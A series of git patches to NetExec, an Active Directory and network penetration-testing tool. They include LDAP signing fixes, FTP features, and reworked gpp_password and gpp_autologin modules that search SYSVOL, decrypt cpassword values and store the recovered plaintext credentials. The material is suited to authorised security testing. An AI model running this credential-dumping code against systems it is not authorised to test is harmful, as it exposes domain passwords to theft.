exclude-newer-span = "P1D" [[package]] @@ -932,8 +932,8 @@ wheels = [ [[package]] name = "impacket" -version = "0.14.0.dev0+20260814.164800.c23b3d55" -source = { git = "https://github.com/fortra/impacket#c23b3d55bc846a2460a459437601a94bfd25a269" } +version = "0.14.0.dev0+20260909.31915.a2d35007" +source = { git = "https://github.com/fortra/impacket#a2d35007c9717ce791f07efe99db63fd26386661" } dependencies = [ { name = "charset-normalizer" }, { name = "flask" }, From c612a1347a0b11c57b8991fe0af74ab47e93fc7f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 9 Sep 2026 16:15:08 -0400 Subject: [PATCH 282/397] Change CRLF to LF --- nxc/modules/bitlocker.py | 282 +++++++++++++++++++-------------------- 1 file changed, 141 insertions(+), 141 deletions(-) diff --git a/nxc/modules/bitlocker.py b/nxc/modules/bitlocker.py index 7e5a9d2639..7129873f32 100644 --- a/nxc/modules/bitlocker.py +++ b/nxc/modules/bitlocker.py @@ -1,141 +1,141 @@ -import re -from impacket.dcerpc.v5.dcom import wmi -from impacket.dcerpc.v5.dtypes import NULL -from impacket.dcerpc.v5.dcomrt import DCOMConnection -from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY -from nxc.helpers.misc import CATEGORY - - -class NXCModule: - name = "bitlocker" - description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." - supported_protocols = ["smb", "wmi"] - category = CATEGORY.ENUMERATION - - def __init__(self, context=None, module_options=None): - self.context = context - self.module_options = module_options - - def options(self, context, module_options): - """ - USAGE: - - NetExec smb -u -p -M bitlocker - NetExec wmi -u -p -M bitlocker (Better option to use on real life.) - """ - - def on_admin_login(self, context, connection): - if context.protocol == "smb": - bitlocker_smb = BitLockerSMB(context, connection) - bitlocker_smb.check_bitlocker_status() - elif context.protocol == "wmi": - bitlocker_wmi = BitLockerWMI(context, connection) - bitlocker_wmi.check_bitlocker_status() - - -class BitLockerSMB: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - # PowerShell command to check BitLocker volumes status. - check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' - - try: - # Executing the PowerShell command to get BitLocker volumes status. - check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) - - if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: - self.context.log.fail("BitLockerVolume not found on target.") - return - - # Splitting the output into lines. - lines = str(check_bitlocker_command_str_output).splitlines() - data_lines = [line for line in lines if re.match(r"\w:", line)] - - for line in data_lines: - # Checking every line for starting with drive - if line[1] == ":": - parts = line.split() - MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] - - # Checking if BitLocker is enabled. - if protection_status == "On": - self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") - else: - self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") - except Exception as e: - self.context.log.exception(f"Exception occurred: {e}") - - -class BitLockerWMI: - def __init__(self, context, connection): - self.context = context - self.connection = connection - - def check_bitlocker_status(self): - try: - # Create a DCOM connection - dcom_conn = DCOMConnection( - self.connection.host, - self.connection.username, - self.connection.password, - self.connection.domain, - self.connection.lmhash, - self.connection.nthash, - oxidResolver=True, - doKerberos=self.connection.kerberos, - kdcHost=self.connection.kdcHost) - - try: - # CoCreateInstanceEx for WMI login - i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) - iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) - - # Specify the namespace for BitLocker - bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" - - # NTLM login for WMI - iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) - - # Set authentication level - iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - - # Query to get BitLocker status - classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" - iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) - encryptionTypeMapping = { - 0: "None", - 1: "AES_128_WITH_DIFFUSER", - 2: "AES_256_WITH_DIFFUSER", - 3: "AES_128", - 4: "AES_256", - 5: "HARDWARE_ENCRYPTION", - 6: "XTS_AES_128", - 7: "XTS_AES_256_WITH_DIFFUSER" - } - - try: - while True: - iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) - encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) - if iWbemClassObject[0].ProtectionStatus == 1: - self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") - else: - if encryptionMethod == 0: # Should be 0 if disabled - self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") - except Exception: - pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" - - # Release resources - iWbemLevel1Login.RemRelease() - iWbemServices.RemRelease() - dcom_conn.disconnect() - except Exception as e: - if "WBEM_E_INVALID_NAMESPACE" in str(e): - self.context.log.fail("BitLockerNamespace not found on target.") - dcom_conn.disconnect() - except Exception as e: - self.context.log.error(f"Error occurred during BitLocker check: {e}") - dcom_conn.disconnect() +import re +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY +from nxc.helpers.misc import CATEGORY + + +class NXCModule: + name = "bitlocker" + description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled." + supported_protocols = ["smb", "wmi"] + category = CATEGORY.ENUMERATION + + def __init__(self, context=None, module_options=None): + self.context = context + self.module_options = module_options + + def options(self, context, module_options): + """ + USAGE: + + NetExec smb -u -p -M bitlocker + NetExec wmi -u -p -M bitlocker (Better option to use on real life.) + """ + + def on_admin_login(self, context, connection): + if context.protocol == "smb": + bitlocker_smb = BitLockerSMB(context, connection) + bitlocker_smb.check_bitlocker_status() + elif context.protocol == "wmi": + bitlocker_wmi = BitLockerWMI(context, connection) + bitlocker_wmi.check_bitlocker_status() + + +class BitLockerSMB: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + # PowerShell command to check BitLocker volumes status. + check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"' + + try: + # Executing the PowerShell command to get BitLocker volumes status. + check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True) + + if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output: + self.context.log.fail("BitLockerVolume not found on target.") + return + + # Splitting the output into lines. + lines = str(check_bitlocker_command_str_output).splitlines() + data_lines = [line for line in lines if re.match(r"\w:", line)] + + for line in data_lines: + # Checking every line for starting with drive + if line[1] == ":": + parts = line.split() + MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2] + + # Checking if BitLocker is enabled. + if protection_status == "On": + self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})") + else: + self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}") + except Exception as e: + self.context.log.exception(f"Exception occurred: {e}") + + +class BitLockerWMI: + def __init__(self, context, connection): + self.context = context + self.connection = connection + + def check_bitlocker_status(self): + try: + # Create a DCOM connection + dcom_conn = DCOMConnection( + self.connection.host, + self.connection.username, + self.connection.password, + self.connection.domain, + self.connection.lmhash, + self.connection.nthash, + oxidResolver=True, + doKerberos=self.connection.kerberos, + kdcHost=self.connection.kdcHost) + + try: + # CoCreateInstanceEx for WMI login + i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface) + + # Specify the namespace for BitLocker + bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption" + + # NTLM login for WMI + iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL) + + # Set authentication level + iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + + # Query to get BitLocker status + classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume" + iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery) + encryptionTypeMapping = { + 0: "None", + 1: "AES_128_WITH_DIFFUSER", + 2: "AES_256_WITH_DIFFUSER", + 3: "AES_128", + 4: "AES_256", + 5: "HARDWARE_ENCRYPTION", + 6: "XTS_AES_128", + 7: "XTS_AES_256_WITH_DIFFUSER" + } + + try: + while True: + iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1) + encryptionMethod = int(iWbemClassObject[0].EncryptionMethod) + if iWbemClassObject[0].ProtectionStatus == 1: + self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})") + else: + if encryptionMethod == 0: # Should be 0 if disabled + self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}") + except Exception: + pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE" + + # Release resources + iWbemLevel1Login.RemRelease() + iWbemServices.RemRelease() + dcom_conn.disconnect() + except Exception as e: + if "WBEM_E_INVALID_NAMESPACE" in str(e): + self.context.log.fail("BitLockerNamespace not found on target.") + dcom_conn.disconnect() + except Exception as e: + self.context.log.error(f"Error occurred during BitLocker check: {e}") + dcom_conn.disconnect() From ff987ee634d112293451c95227dfd85fa038f353 Mon Sep 17 00:00:00 2001 From: Natasha-B <46103943+Natasha-B@users.noreply.github.com> Date: Thu, 10 Sep 2026 17:30:58 +0200 Subject: [PATCH 283/397] Fix false positives on ldap signing and cbt checks when NTLM is disabled --- nxc/protocols/ldap.py | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index a0798c584a..99bffb4f3d 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -147,11 +147,12 @@ def get_ldap_username(self): return "" def check_ldap_signing(self): - self.signing_required = False + self.signing_required = None ldap_url = f"ldap://{self.target}" try: ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=self.baseDN, dstIp=self.host, signing=False, timeout=self.args.ldap_timeout) ldap_connection.login(domain=self.domain) + self.signing_required = False self.logger.debug(f"LDAP signing is not enforced on {self.host}") except ldap_impacket.LDAPSessionError as e: if str(e).find("strongerAuthRequired") >= 0: @@ -185,6 +186,7 @@ def check_ldaps_cbt(self): self.cbt_status = "When Supported" # CBT is When Supported else: self.logger.debug(f"LDAPSessionError while checking for channel binding requirements (likely NTLM disabled): {e!s}") + self.cbt_status = "Unknown" except SysCallError as e: self.logger.debug(f"Received SysCallError when trying to enumerate channel binding support: {e!s}") if e.args[1] in ["ECONNRESET", "WSAECONNRESET", "Unexpected EOF"]: @@ -283,7 +285,12 @@ def enum_host_info(self): def print_host_info(self): self.logger.debug("Printing host info for LDAP") - signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) if self.signing_required else colored("signing:None", host_info_colors[1], attrs=["bold"]) + if self.signing_required is True: + signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) + if self.signing_required is False: + signing = colored("signing:None", host_info_colors[1], attrs=["bold"]) + else: + signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"]) cbt_status = colored(f"channel binding:{self.cbt_status}", host_info_colors[3], attrs=["bold"]) if self.cbt_status == "Always" else colored(f"channel binding:{self.cbt_status}", host_info_colors[2], attrs=["bold"]) ntlm = colored(f"(NTLM:{not self.no_ntlm})", host_info_colors[2], attrs=["bold"]) if self.no_ntlm else "" From dde148243539497b81e75dd0e0a10e8a292bf1b8 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Fri, 11 Sep 2026 11:56:16 +0200 Subject: [PATCH 284/397] Fix conditional check for signing_required Signed-off-by: mpgn <5891788+mpgn@users.noreply.github.com> --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 99bffb4f3d..eeec2c0231 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -287,7 +287,7 @@ def print_host_info(self): self.logger.debug("Printing host info for LDAP") if self.signing_required is True: signing = colored("signing:Enforced", host_info_colors[0], attrs=["bold"]) - if self.signing_required is False: + elif self.signing_required is False: signing = colored("signing:None", host_info_colors[1], attrs=["bold"]) else: signing = colored("signing:Unknown", host_info_colors[2], attrs=["bold"]) From c3122a94878f64c306cf22289b1b355e15a08e29 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:29:41 +0200 Subject: [PATCH 285/397] Add generic exception handler for ConnectionRefused --- nxc/connection.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/connection.py b/nxc/connection.py index 8a19332238..f575dc97cf 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -181,6 +181,8 @@ def __init__(self, args, db, target): self.proto_flow() except FileNotFoundError as e: self.logger.error(f"File not found error on target {target}: {e}") + except ConnectionRefusedError as e: + self.logger.error(f"Target {target} refused the connection: {e}") except Exception as e: if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e): self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}") From 6c29f3c6e45e728ce563944246e6181e1b200fa0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:32:26 +0200 Subject: [PATCH 286/397] Fix error handling of impacket/rpcrt --- nxc/modules/coerce_plus.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 95722581ce..0fd34cc47e 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -1,4 +1,5 @@ from impacket.dcerpc.v5 import transport, rprn, even, epm +from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY From 40abafc41b36ccc82d25f63ebb743faf891b0343 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:32:45 +0200 Subject: [PATCH 287/397] Add some padding for user descriptions --- nxc/modules/get-desc-users.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/modules/get-desc-users.py b/nxc/modules/get-desc-users.py index e1b170abae..ce1629bc98 100644 --- a/nxc/modules/get-desc-users.py +++ b/nxc/modules/get-desc-users.py @@ -63,7 +63,7 @@ def on_login(self, context, connection): if len(answers) > 0: context.log.success("Found following users: ") for answer in answers: - context.log.highlight(f"User: {answer[0]} description: {answer[1]}") + context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}") def filter_answer(self, context, answers): # No option to filter From 6b5f557736b78fa44a702c432e96199fbd8bd643 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:33:24 +0200 Subject: [PATCH 288/397] Remove useless share listing --- nxc/modules/gpp_autologin.py | 57 +++++++------- nxc/modules/gpp_password.py | 147 +++++++++++++++++------------------ 2 files changed, 97 insertions(+), 107 deletions(-) diff --git a/nxc/modules/gpp_autologin.py b/nxc/modules/gpp_autologin.py index 06e276fe05..2cf698a1c0 100644 --- a/nxc/modules/gpp_autologin.py +++ b/nxc/modules/gpp_autologin.py @@ -15,45 +15,40 @@ class NXCModule: category = CATEGORY.CREDENTIAL_DUMPING def options(self, context, module_options): - """ """ + """No options available.""" def on_login(self, context, connection): - shares = connection.shares() - for share in shares: - if share["name"] == "SYSVOL" and "READ" in share["access"]: - context.log.success("Found SYSVOL share") - context.log.display("Searching for Registry.xml") + context.log.display("Searching SYSVOL share for Registry.xml") - paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) + paths = connection.spider("SYSVOL", pattern=["Registry.xml"]) + for path in paths: + context.log.display(f"Found {path}") - for path in paths: - context.log.display(f"Found {path}") + buf = BytesIO() + connection.conn.getFile("SYSVOL", path, buf.write) + xml = ET.fromstring(buf.getvalue()) - buf = BytesIO() - connection.conn.getFile("SYSVOL", path, buf.write) - xml = ET.fromstring(buf.getvalue()) + if xml.findall('.//Properties[@name="DefaultPassword"]'): + usernames = [] + passwords = [] + domains = [] - if xml.findall('.//Properties[@name="DefaultPassword"]'): - usernames = [] - passwords = [] - domains = [] + xml_section = xml.findall(".//Properties") - xml_section = xml.findall(".//Properties") + for section in xml_section: + attrs = section.attrib - for section in xml_section: - attrs = section.attrib + if attrs["name"] == "DefaultPassword": + passwords.append(attrs["value"]) - if attrs["name"] == "DefaultPassword": - passwords.append(attrs["value"]) + if attrs["name"] == "DefaultUserName": + usernames.append(attrs["value"]) - if attrs["name"] == "DefaultUserName": - usernames.append(attrs["value"]) + if attrs["name"] == "DefaultDomainName": + domains.append(attrs["value"]) - if attrs["name"] == "DefaultDomainName": - domains.append(attrs["value"]) - - if usernames or passwords: - context.log.success(f"Found credentials in {path}") - context.log.highlight(f"Usernames: {usernames}") - context.log.highlight(f"Domains: {domains}") - context.log.highlight(f"Passwords: {passwords}") + if usernames or passwords: + context.log.success(f"Found credentials in {path}") + context.log.highlight(f"Usernames: {usernames}") + context.log.highlight(f"Domains: {domains}") + context.log.highlight(f"Passwords: {passwords}") diff --git a/nxc/modules/gpp_password.py b/nxc/modules/gpp_password.py index c36e0d5b19..392dd49b84 100644 --- a/nxc/modules/gpp_password.py +++ b/nxc/modules/gpp_password.py @@ -21,82 +21,77 @@ def options(self, context, module_options): """No options available""" def on_login(self, context, connection): - shares = connection.shares() - for share in shares: - if share["name"].lower() == "sysvol" and "READ" in share["access"]: - sysvol = share["name"] - context.log.success("Found SYSVOL share") - context.log.display("Searching for potential XML files containing passwords") - - paths = connection.spider( - sysvol, - pattern=[ - "Groups.xml", - "Services.xml", - "Scheduledtasks.xml", - "DataSources.xml", - "Printers.xml", - "Drives.xml", - ], - ) - - for path in paths: - context.log.display(f"Found {path}") - - buf = BytesIO() - connection.conn.getFile(sysvol, path, buf.write) - xml = ET.fromstring(buf.getvalue()) - sections = [] - - if "Groups.xml" in path: - sections.append("./User/Properties") - - elif "Services.xml" in path: - sections.append("./NTService/Properties") - - elif "ScheduledTasks.xml" in path: - sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties")) - - elif "DataSources.xml" in path: - sections.append("./DataSource/Properties") - - elif "Printers.xml" in path: - sections.append("./SharedPrinter/Properties") - - elif "Drives.xml" in path: - sections.append("./Drive/Properties") - - for section in sections: - xml_section = xml.findall(section) - for attr in xml_section: - props = attr.attrib - - if "cpassword" in props: - for user_tag in [ - "userName", - "accountName", - "runAs", - "username", - ]: - if user_tag in props: - username = props[user_tag] - - password = self.decrypt_cpassword(props["cpassword"]) - - context.log.success(f"Found credentials in {path}") - context.log.highlight(f"Password: {password}") - for k, v in props.items(): - if k != "cpassword": - context.log.highlight(f"{k}: {v}") - - hostid = context.db.get_hosts(connection.host)[0][0] - context.db.add_credential( - "plaintext", - "", - username, - password, - pillaged_from=hostid, - ) + context.log.display("Searching SYSVOL share for potential XML files containing passwords") + + paths = connection.spider( + "SYSVOL", + pattern=[ + "Groups.xml", + "Services.xml", + "Scheduledtasks.xml", + "DataSources.xml", + "Printers.xml", + "Drives.xml", + ], + ) + + for path in paths: + context.log.display(f"Found {path}") + + buf = BytesIO() + connection.conn.getFile("SYSVOL", path, buf.write) + xml = ET.fromstring(buf.getvalue()) + sections = [] + + if "Groups.xml" in path: + sections.append("./User/Properties") + + elif "Services.xml" in path: + sections.append("./NTService/Properties") + + elif "ScheduledTasks.xml" in path: + sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties")) + + elif "DataSources.xml" in path: + sections.append("./DataSource/Properties") + + elif "Printers.xml" in path: + sections.append("./SharedPrinter/Properties") + + elif "Drives.xml" in path: + sections.append("./Drive/Properties") + + for section in sections: + xml_section = xml.findall(section) + for attr in xml_section: + props = attr.attrib + + if "cpassword" in props: + for user_tag in [ + "userName", + "accountName", + "runAs", + "username", + ]: + if user_tag in props: + username = props[user_tag] + + password = self.decrypt_cpassword(props["cpassword"]) + + context.log.success(f"Found credentials in {path}") + context.log.highlight(f"Password: {password}") + for k, v in props.items(): + if k != "cpassword": + context.log.highlight(f"{k}: {v}") + + hostid = context.db.get_hosts(connection.host)[0][0] + context.db.add_credential( + "plaintext", + "", + username, + password, + pillaged_from=hostid, + ) def decrypt_cpassword(self, cpassword): # Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385 From a7626dd2c411ebfc0a6afe4317e7c06002fcedac Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:34:12 +0200 Subject: [PATCH 289/397] Improve ftp host banner and session closing --- nxc/protocols/ftp.py | 24 ++++++++++++++---------- 1 file changed, 14 insertions(+), 10 deletions(-) diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index 39c27f9e34..c4af367a98 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -1,15 +1,16 @@ +from io import BytesIO import os from nxc.config import process_secret from nxc.connection import connection from nxc.helpers.logger import highlight from nxc.logger import NXCAdapter -from ftplib import FTP, error_perm +from ftplib import FTP, error_perm, error_temp class ftp(connection): def __init__(self, args, db, host): self.protocol = "FTP" - self.remote_version = None + self.welcome_banner = "" super().__init__(args, db, host) @@ -26,11 +27,12 @@ def proto_logger(self): def enum_host_info(self): welcome = self.conn.getwelcome() self.logger.debug(f"Welcome result: {welcome}") - self.remote_version = welcome.split("220", 1)[1].strip() # strip out the extra space in the front - self.logger.debug(f"Remote version: {self.remote_version}") + for line in welcome.splitlines(): + self.welcome_banner += line.split("220", 1)[1].strip() # strip out the extra space in the front + self.logger.debug(f"Remote version: {self.welcome_banner}") def print_host_info(self): - self.logger.display(f"Banner: {self.remote_version}") + self.logger.display(f"Banner: {self.welcome_banner}") def create_conn_obj(self): self.conn = FTP() @@ -50,13 +52,12 @@ def plaintext_login(self, username, password): self.logger.debug(f"Response: {resp}") except Exception as e: self.logger.fail(f"{username}:{process_secret(password)} (Response:{e})") - self.conn.close() return False # 230 is "User logged in, proceed" response, ftplib raises an exception on failed login if "230" in resp: self.logger.debug(f"Host: {self.host} Port: {self.port}") - self.db.add_host(self.host, self.port, self.remote_version) + self.db.add_host(self.host, self.port, self.welcome_banner) cred_id = self.db.add_credential(username, password) @@ -101,8 +102,9 @@ def plaintext_login(self, username, password): self.put_file(self.args.put[0], self.args.put[1]) if not self.args.continue_on_success: - self.conn.close() return True + + def disconnect(self): self.conn.close() def list_directory_full(self): @@ -115,6 +117,10 @@ def list_directory_full(self): self.logger.fail(f"Failed to list directory. Response: ({error_message})") self.conn.close() return False + except error_temp as e: + self.logger.fail(e) + self.conn.close() + return False return files def get_file(self, filename): @@ -125,8 +131,6 @@ def get_file(self, filename): if self.conn.encoding == "utf-8": # Switch the connection to binary self.conn.sendcmd("TYPE I") - # Check if the file exists - self.conn.size(filename) # Attempt to download the file with open(downloaded_file, "wb") as f: self.conn.retrbinary(f"RETR {filename}", f.write) From 5823cdba208dcc9eabeff818ea758675264ad635 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:34:32 +0200 Subject: [PATCH 290/397] Add ftp --cat command --- nxc/protocols/ftp.py | 24 ++++++++++++++++++++++++ nxc/protocols/ftp/proto_args.py | 1 + 2 files changed, 25 insertions(+) diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index c4af367a98..9b832056e2 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -165,6 +165,30 @@ def put_file(self, local_file, remote_file): else: self.logger.fail(f"Failed to upload: {local_file} to {remote_file}") + def cat(self): + # Extract the filename from the path + remote_file = self.args.cat + try: + # Check if the current connection is ASCII (ASCII does not support .size()) + if self.conn.encoding == "utf-8": + # Switch the connection to binary + self.conn.sendcmd("TYPE I") + # Attempt to get the file content + buf = BytesIO() + self.conn.retrbinary(f"RETR {remote_file}", buf.write) + except error_perm as error_message: + self.logger.fail(f"Failed to get file content. Response: ({error_message})") + return False + except FileNotFoundError: + self.logger.fail("Failed to get file content. Response: (No such file or directory.)") + return False + + try: + for line in buf.getvalue().decode().splitlines(): + self.logger.highlight(line) + except UnicodeDecodeError as e: + self.logger.fail(f"File is not in UTF-8: {e}") + def supported_commands(self): raw_supported_commands = self.conn.sendcmd("HELP") supported_commands = [item for sublist in (x.split() for x in raw_supported_commands.split("\n")[1:-1]) for item in sublist] diff --git a/nxc/protocols/ftp/proto_args.py b/nxc/protocols/ftp/proto_args.py index ebf73300a1..01a9d56b20 100644 --- a/nxc/protocols/ftp/proto_args.py +++ b/nxc/protocols/ftp/proto_args.py @@ -7,6 +7,7 @@ def proto_args(parser, parents): cgroup = ftp_parser.add_argument_group("File Operations") cgroup.add_argument("--ls", metavar="DIRECTORY", nargs="?", const=".", help="List all files (including hidden) in the directory") + cgroup.add_argument("--cat", metavar="FILE", help="Display the contents of a file. Example: --cat /path/to/file") cgroup.add_argument("--get", metavar="FILE", help="Download a file") cgroup.add_argument("--put", metavar=("LOCAL_FILE", "REMOTE_FILE"), nargs=2, help="Upload a file") return parser From 32469fea8bec33c26ddc0ff5d476bc58b94a7329 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:35:39 +0200 Subject: [PATCH 291/397] Fix bloodhound collection if signing and cbt is enforced --- nxc/protocols/ldap.py | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 053e168bb9..1084e718e2 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1723,6 +1723,7 @@ def bloodhound(self): aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto", + ldap_channel_binding=True if self.cbt_status == "Always" else False ) ad = AD( auth=auth, @@ -1761,9 +1762,13 @@ def bloodhound(self): exclude_dcs=False, ) except Exception as e: - self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") - self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) - return + if "ldap3-bleeding-edge" in str(e): + self.logger.fail("Bloodhound collection failed due to channel binding requirements. Inject 'ldap3-bleeding-edge': pipx inject netexec ldap3-bleeding-edge") + return + else: + self.logger.fail(f"BloodHound collection failed: {e.__class__.__name__} - {e}") + self.logger.debug(f"BloodHound collection failed: {e.__class__.__name__} - {e}", exc_info=True) + return # Collect ADCS data using CertiHound if requested if "adcs" in collect: From a92275586e39d7c9f1f6f1bcd83bbcd3cef1771d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:36:10 +0200 Subject: [PATCH 292/397] Fix crash if NTLM is unavailable --- nxc/protocols/mssql.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/nxc/protocols/mssql.py b/nxc/protocols/mssql.py index 4ffb4fbd1d..8a8b386ecc 100755 --- a/nxc/protocols/mssql.py +++ b/nxc/protocols/mssql.py @@ -44,6 +44,9 @@ def __init__(self, args, db, host): self.lmhash = "" self.nthash = "" self.no_ntlm = False + self.encryption = None + self.edition = "" + self.version = "" connection.__init__(self, args, db, host) From 333ec792f0484a6e4599a42da0b65ab9718ba927 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:36:36 +0200 Subject: [PATCH 293/397] lock file hash --- poetry.lock | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poetry.lock b/poetry.lock index cd74ac9edd..fda15da836 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2993,4 +2993,4 @@ test = ["pytest", "pytest-cov"] [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "0d14ba58153ca84c0a373c8d9180f9d864bc600cf1f67fdabf680f338265172d" +content-hash = "13e80d1f520fc9b9581200e406586cc73197fda393fd66cd51692bd30c4a85c0" From 44cc9f133321bde3744892a1074b678786bc34e4 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Fri, 11 Sep 2026 17:54:56 +0200 Subject: [PATCH 294/397] Ruff --- nxc/protocols/ldap.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 1084e718e2..84a609e30a 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -1723,7 +1723,7 @@ def bloodhound(self): aeskey=self.aesKey, kdc=self.kdcHost, auth_method="auto", - ldap_channel_binding=True if self.cbt_status == "Always" else False + ldap_channel_binding=self.cbt_status == "Always" ) ad = AD( 